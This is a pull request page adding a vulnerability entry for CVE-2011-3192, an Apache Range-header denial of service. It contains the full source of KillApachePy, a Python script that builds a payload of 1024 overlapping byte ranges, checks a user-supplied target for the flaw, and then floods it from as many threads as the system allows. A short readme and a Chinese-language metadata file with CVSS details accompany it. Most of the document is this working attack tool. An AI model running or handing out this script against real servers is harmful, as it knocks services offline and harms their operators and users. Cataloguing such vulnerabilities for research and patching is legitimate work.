Pre Merge pull request !444 from ZP Liu/master
This commit is contained in:
commit
9efa27c550
|
@ -0,0 +1,111 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse
|
||||
|
||||
NAME = "KillApachePy (Range Header DoS CVE-2011-3192)"
|
||||
VERSION = "0.1c"
|
||||
AUTHOR = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)"
|
||||
LICENSE = "Public domain (FREE)"
|
||||
SHORT = "You'll typically have to wait for 10-20 iterations before first connection timeouts. More complex/bigger the page the better"
|
||||
REFERENCE = "http://seclists.org/fulldisclosure/2011/Aug/175"
|
||||
|
||||
SLEEP_TIME = 3 # time to wait for new thread slots (after max number reached)
|
||||
RANGE_NUMBER = 1024 # number of range subitems forming the DoS payload
|
||||
USER_AGENT = "KillApachePy (%s)" % VERSION
|
||||
|
||||
def attack(url, user_agent=None, method='GET', proxy=None):
|
||||
if '://' not in url:
|
||||
url = "http://%s" % url
|
||||
|
||||
host = urlparse.urlparse(url).netloc
|
||||
|
||||
user_agent = user_agent or USER_AGENT
|
||||
|
||||
if proxy and not re.match('\Ahttp(s)?://[^:]+:[0-9]+(/)?\Z', proxy, re.I):
|
||||
print "(x) Invalid proxy address used"
|
||||
exit(-1)
|
||||
|
||||
proxy_support = urllib2.ProxyHandler({'http': proxy} if proxy else {})
|
||||
opener = urllib2.build_opener(proxy_support)
|
||||
urllib2.install_opener(opener)
|
||||
|
||||
class _MethodRequest(urllib2.Request):
|
||||
'''
|
||||
Create any HTTP (e.g. HEAD/PUT/DELETE) request type with urllib2
|
||||
'''
|
||||
def set_method(self, method):
|
||||
self.method = method.upper()
|
||||
|
||||
def get_method(self):
|
||||
return getattr(self, 'method', urllib2.Request.get_method(self))
|
||||
|
||||
def _send(check=False):
|
||||
'''
|
||||
Send the vulnerable request to the target
|
||||
'''
|
||||
if check:
|
||||
print "(i) Checking target for vulnerability..."
|
||||
payload = "bytes=0-,%s" % ",".join("5-%d" % item for item in xrange(1, RANGE_NUMBER))
|
||||
try:
|
||||
headers = { 'Host': host, 'User-Agent': USER_AGENT, 'Range': payload, 'Accept-Encoding': 'gzip, deflate' }
|
||||
req = _MethodRequest(url, None, headers)
|
||||
req.set_method(method)
|
||||
response = urllib2.urlopen(req)
|
||||
if check:
|
||||
return response and ('byteranges' in repr(response.headers.headers) or response.code == 206)
|
||||
except urllib2.URLError, msg:
|
||||
if 'timed out' in str(msg):
|
||||
print "\r(i) Server seems to be choked ('%s')" % msg
|
||||
else:
|
||||
print "(x) Connection error ('%s')" % msg
|
||||
if check or 'Forbidden' in str(msg):
|
||||
os._exit(-1)
|
||||
except Exception, msg:
|
||||
raise
|
||||
|
||||
try:
|
||||
if not _send(check=True):
|
||||
print "(x) Target does not seem to be vulnerable"
|
||||
else:
|
||||
print "(o) Target seems to be vulnerable\n"
|
||||
quit = False
|
||||
while not quit:
|
||||
threads = []
|
||||
print "(i) Creating new threads..."
|
||||
try:
|
||||
while True:
|
||||
thread = threading.Thread(target=_send)
|
||||
thread.start()
|
||||
threads.append(thread)
|
||||
except KeyboardInterrupt:
|
||||
quit = True
|
||||
raise
|
||||
except Exception, msg:
|
||||
if 'new thread' in str(msg):
|
||||
print "(i) Maximum number of new threads created (%d)" % len(threads)
|
||||
else:
|
||||
print "(x) Exception occured ('%s')" % msg
|
||||
finally:
|
||||
if not quit:
|
||||
print "(o) Waiting for %d seconds to acquire new threads" % SLEEP_TIME
|
||||
time.sleep(SLEEP_TIME)
|
||||
print
|
||||
except KeyboardInterrupt:
|
||||
print "\r(x) Ctrl-C was pressed"
|
||||
os._exit(1)
|
||||
|
||||
def main():
|
||||
print "%s #v%s\n by: %s\n\n(Note(s): %s)\n" % (NAME, VERSION, AUTHOR, SHORT)
|
||||
parser = optparse.OptionParser(version=VERSION)
|
||||
parser.add_option("-u", dest="url", help="Target url (e.g. \"http://www.target.com/index.php\")")
|
||||
parser.add_option("--agent", dest="agent", help="User agent (e.g. \"Mozilla/5.0 (Linux)\")")
|
||||
parser.add_option("--method", dest="method", default='GET', help="HTTP method used (default: GET)")
|
||||
parser.add_option("--proxy", dest="proxy", help="Proxy (e.g. \"http://127.0.0.1:8118\")")
|
||||
options, _ = parser.parse_args()
|
||||
if options.url:
|
||||
result = attack(options.url, options.agent, options.method, options.proxy)
|
||||
else:
|
||||
parser.print_help()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
|
@ -0,0 +1,3 @@
|
|||
If you are following security trends then you've probably heard about the DoS attack against major number of Apache versions by usage of specially crafted Range header (CVE-2011-3192). Based on the original PoC (killapache.pl) I've made a Python version out of it which is more user friendly and has few program workflow enhancements (automatic usage of maximum (system) allowed thread number, setting custom HTTP method (GET/HEAD/...), custom target page for retrieval, proxy support, etc.)
|
||||
|
||||
p.s. Python v2.5.x-v2.7.x is recommended for running this tool
|
|
@ -0,0 +1,18 @@
|
|||
id: CVE-2011-3192
|
||||
source: https://github.com/tkisason/KillApachePy
|
||||
info:
|
||||
name: Apache HTTP Server(简称Apache)是Apache软体基金会的一个开放源码的网页伺服器软体,可以在大多数电脑作业系统中运行。由于其跨平台和安全性,被广泛使用,是最流行的Web伺服器软体之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等直译器编译到伺服器中。
|
||||
severity: high
|
||||
description: Apache HTTP Server中的字节过滤器允许远程攻击者通过表示多个重叠范围的范围头导致拒绝服务(内存和CPU消耗)。
|
||||
scope-of-influence:
|
||||
Apache HTTP Server 1.3. x, 2.0. x through 2.0.64, and 2.2. x through 2.2.19
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2011-3192
|
||||
classification:
|
||||
cvss-metrics: AV:N/AC:L/Au:N/C:N/I:N/A:C
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2011-3192
|
||||
cwe-id: CWE-400
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: denial of service
|
Loading…
Reference in New Issue